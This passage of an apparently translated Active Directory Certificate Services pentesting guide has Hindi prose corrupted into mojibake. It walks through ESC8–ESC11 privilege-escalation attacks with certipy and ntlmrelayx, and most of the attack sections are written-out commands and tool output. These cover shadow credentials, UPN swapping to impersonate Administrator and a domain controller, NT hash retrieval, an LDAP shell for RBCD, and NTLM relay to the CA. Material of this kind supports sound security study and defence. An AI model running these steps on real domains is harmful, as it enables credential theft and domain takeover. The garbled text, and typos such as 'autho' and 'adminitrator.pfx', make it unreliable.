рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз Certipy рджреНрд╡рд╛рд░рд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Machine рдпрд╛ User рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рд┐рд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рдЦрд╛рддрд╛ рдирд╛рдо $ рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ -template рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рддрдХрдиреАрдХ рдЬреИрд╕реЗ PetitPotam рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд┐рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп, -template DomainController рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Explanation

рдирдпрд╛ рдорд╛рди CT_FLAG_NO_SECURITY_EXTENSION (0x80000) рдХреЗ рд▓рд┐рдП msPKI-Enrollment-Flag, рдЬрд┐рд╕реЗ ESC9 рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ рдирдП szOID_NTDS_CA_SECURITY_EXT рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред рдпрд╣ рдзреНрд╡рдЬ рддрдм рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм StrongCertificateBindingEnforcement рдХреЛ 1 (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ) рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдЬреЛ 2 рдХреЗ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рд╡рд┐рдкрд░реАрдд рд╣реИред рдЗрд╕рдХрд╛ рдорд╣рддреНрд╡ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ Kerberos рдпрд╛ Schannel рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореИрдкрд┐рдВрдЧ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ ESC10 рдореЗрдВ), рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ ESC9 рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдирд╣реАрдВ рдмрджрд▓реЗрдЧреАред

рдЗрд╕ рдзреНрд╡рдЬ рдХреЗ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрдиреЗ рдХреА рд╢рд░реНрддреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • StrongCertificateBindingEnforcement рдХреЛ 2 рдкрд░ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ 1 рд╣реИ), рдпрд╛ CertificateMappingMethods рдореЗрдВ UPN рдзреНрд╡рдЬ рд╢рд╛рдорд┐рд▓ рд╣реИред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ msPKI-Enrollment-Flag рд╕реЗрдЯрд┐рдВрдЧ рдХреЗ рднреАрддрд░ CT_FLAG_NO_SECURITY_EXTENSION рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдХрд┐рд╕реА рднреА рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг EKU рдХреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ рдкрд░ GenericWrite рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ рддрд╛рдХрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Abuse Scenario

рдорд╛рди рд▓реАрдЬрд┐рдП John@corp.local рдХреЗ рдкрд╛рд╕ Jane@corp.local рдкрд░ GenericWrite рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рд▓рдХреНрд╖реНрдп Administrator@corp.local рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИред ESC9 рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕рдореЗрдВ Jane@corp.local рдХреЛ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдХреЛ рдЗрд╕рдХреЗ msPKI-Enrollment-Flag рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ CT_FLAG_NO_SECURITY_EXTENSION рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рд╢реБрд░реБрдЖрдд рдореЗрдВ, Jane рдХрд╛ рд╣реИрд╢ Shadow Credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдзрдиреНрдпрд╡рд╛рдж John рдХреЗ GenericWrite:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

рдЗрд╕рдХреЗ рдмрд╛рдж, Jane рдХрд╛ userPrincipalName Administrator рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╛рдирдмреВрдЭрдХрд░ @corp.local рдбреЛрдореЗрди рднрд╛рдЧ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

рдпрд╣ рд╕рдВрд╢реЛрдзрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ Administrator@corp.local Administrator рдХреЗ userPrincipalName рдХреЗ рд░реВрдк рдореЗрдВ рдЕрд▓рдЧ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдмрд╛рдж, Jane рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ ESC9 рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕реЗ рдХрдордЬреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ userPrincipalName Administrator рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ тАЬobject SIDтАЭ рдирд╣реАрдВ рд╣реИред

Jane рдХрд╛ userPrincipalName рдлрд┐рд░ рд╕реЗ рдЙрд╕рдХреЗ рдореВрд▓, Jane@corp.local рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

рдкреНрд░рджрддреНрдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдЕрдм Administrator@corp.local рдХрд╛ NT рд╣реИрд╢ рджреЗрддрд╛ рд╣реИред рдХрдорд╛рдВрдб рдореЗрдВ -domain <domain> рд╢рд╛рдорд┐рд▓ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ рдбреЛрдореЗрди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реИ:

certipy auth -pfx adminitrator.pfx -domain corp.local

рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореИрдкрд┐рдВрдЧ - ESC10

рд╡реНрдпрд╛рдЦреНрдпрд╛

рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдкрд░ рджреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдорд╛рди ESC10 рджреНрд╡рд╛рд░рд╛ рд╕рдВрджрд░реНрднрд┐рдд рд╣реИрдВ:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel рдХреЗ рддрд╣рдд CertificateMappingMethods рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди 0x18 (0x8 | 0x10) рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ 0x1F рдкрд░ рд╕реЗрдЯ рдерд╛ред

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc рдХреЗ рддрд╣рдд StrongCertificateBindingEnforcement рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ 1 рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ 0 рдереАред

рдорд╛рдорд▓рд╛ 1

рдЬрдм StrongCertificateBindingEnforcement рдХреЛ 0 рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдорд╛рдорд▓рд╛ 2

рдпрджрд┐ CertificateMappingMethods рдореЗрдВ UPN рдмрд┐рдЯ (0x4) рд╢рд╛рдорд┐рд▓ рд╣реИред

рджреБрд░реБрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ 1

рдЬрдм StrongCertificateBindingEnforcement рдХреЛ 0 рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ GenericWrite рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рддрд╛ A рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдЦрд╛рддрд╛ B рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Jane@corp.local рдкрд░ GenericWrite рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ Administrator@corp.local рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ESC9 рдХреЗ рд╕рдорд╛рди рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рд╢реБрд░реБрдЖрдд рдореЗрдВ, Jane рдХрд╛ рд╣реИрд╢ Shadow Credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, GenericWrite рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

рдЗрд╕рдХреЗ рдмрд╛рдж, Jane рдХрд╛ userPrincipalName Administrator рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╛рдирдмреВрдЭрдХрд░ @corp.local рднрд╛рдЧ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХреЛрдИ рдмрд╛рдзрд╛ рдЙрд▓реНрд▓рдВрдШрди рди рд╣реЛред

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

рдЗрд╕рдХреЗ рдмрд╛рдж, Jane рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ User рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane рдХрд╛ userPrincipalName рдлрд┐рд░ рд╕реЗ рдЙрд╕рдХреЗ рдореВрд▓, Jane@corp.local рдкрд░ рд╡рд╛рдкрд╕ рд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рд╕реЗ Administrator@corp.local рдХрд╛ NT рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛, рдЬреЛ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ рдбреЛрдореЗрди рд╡рд┐рд╡рд░рдг рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рдХрдорд╛рдВрдб рдореЗрдВ рдбреЛрдореЗрди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред

certipy auth -pfx administrator.pfx -domain corp.local

Abuse Case 2

CertificateMappingMethods рдореЗрдВ UPN рдмрд┐рдЯ рдлреНрд▓реИрдЧ (0x4) рд╣реЛрдиреЗ рдХреЗ рд╕рд╛рде, рдПрдХ рдЦрд╛рддрд╛ A рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ GenericWrite рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ B рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ userPrincipalName рдкреНрд░реЙрдкрд░реНрдЯреА рдирд╣реАрдВ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╢реАрди рдЦрд╛рддреЗ рдФрд░ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ Administrator рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

рдпрд╣рд╛рдБ, рд▓рдХреНрд╖реНрдп DC$@corp.local рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╣реИ, Jane рдХреЗ рд╣реИрд╢ рдХреЛ Shadow Credentials рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде, GenericWrite рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane рдХрд╛ userPrincipalName рдлрд┐рд░ DC$@corp.local рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП Jane рдХреЗ рд░реВрдк рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ User рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane рдХрд╛ userPrincipalName рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рдж рдЕрдкрдиреЗ рдореВрд▓ рдкрд░ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рддрд╛ рд╣реИред

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Schannel рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Certipy рдХрд╛ -ldap-shell рд╡рд┐рдХрд▓реНрдк рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рд╕рдлрд▓рддрд╛ рдХреЛ u:CORP\DC$ рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

LDAP рд╢реЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, set_rbcd рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рд░рд┐рд╕реЛрд░реНрд╕-рдЖрдзрд╛рд░рд┐рдд рд╕реАрдорд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ (RBCD) рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

рдпрд╣ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ userPrincipalName рдирд╣реАрдВ рд╣реИ рдпрд╛ рдЬрд╣рд╛рдБ рдпрд╣ sAMAccountName рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛, рдЬрд┐рд╕рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ Administrator@corp.local рдПрдХ рдкреНрд░рдореБрдЦ рд▓рдХреНрд╖реНрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдЙрдЪреНрдЪ LDAP рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ userPrincipalName рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рд╣реИред

Relaying NTLM to ICPR - ESC11

Explanation

рдпрджрд┐ CA Server рдХреЛ IF_ENFORCEENCRYPTICERTREQUEST рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ RPC рд╕реЗрд╡рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╛рдЗрди рдХрд┐рдП рдмрд┐рдирд╛ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред Reference in hereред

рдЖрдк рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП certipy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ Enforce Encryption for Requests рдЕрдХреНрд╖рдо рд╣реИ рдФрд░ certipy ESC11 рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ред

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Abuse Scenario

рдПрдХ рд░рд┐рд▓реЗ рд╕рд░реНрд╡рд░ рд╕реЗрдЯрдЕрдк рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

рдиреЛрдЯ: рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ DomainController рдореЗрдВ -template рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдпрд╛ sploutchy рдХреЗ impacket рдХреЗ рдлреЛрд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП :

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell access to ADCS CA with YubiHSM - ESC12

Explanation

рдкреНрд░рд╢рд╛рд╕рдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛ "Yubico YubiHSM2" рдЬреИрд╕реЗ рдмрд╛рд╣рд░реА рдЙрдкрдХрд░рдг рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрджрд┐ USB рдЙрдкрдХрд░рдг CA рд╕рд░реНрд╡рд░ рд╕реЗ USB рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ, рдпрд╛ рдпрджрд┐ CA рд╕рд░реНрд╡рд░ рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╣реИ рддреЛ USB рдЙрдкрдХрд░рдг рд╕рд░реНрд╡рд░ рдореЗрдВ, YubiHSM рдореЗрдВ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреБрдВрдЬреА (рдЬрд┐рд╕реЗ рдХрднреА-рдХрднреА "рдкрд╛рд╕рд╡рд░реНрдб" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдпрд╣ рдХреБрдВрдЬреА/рдкрд╛рд╕рд╡рд░реНрдб рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword рдХреЗ рддрд╣рдд рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред

рдпрд╣рд╛рдБ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░реЗрдВред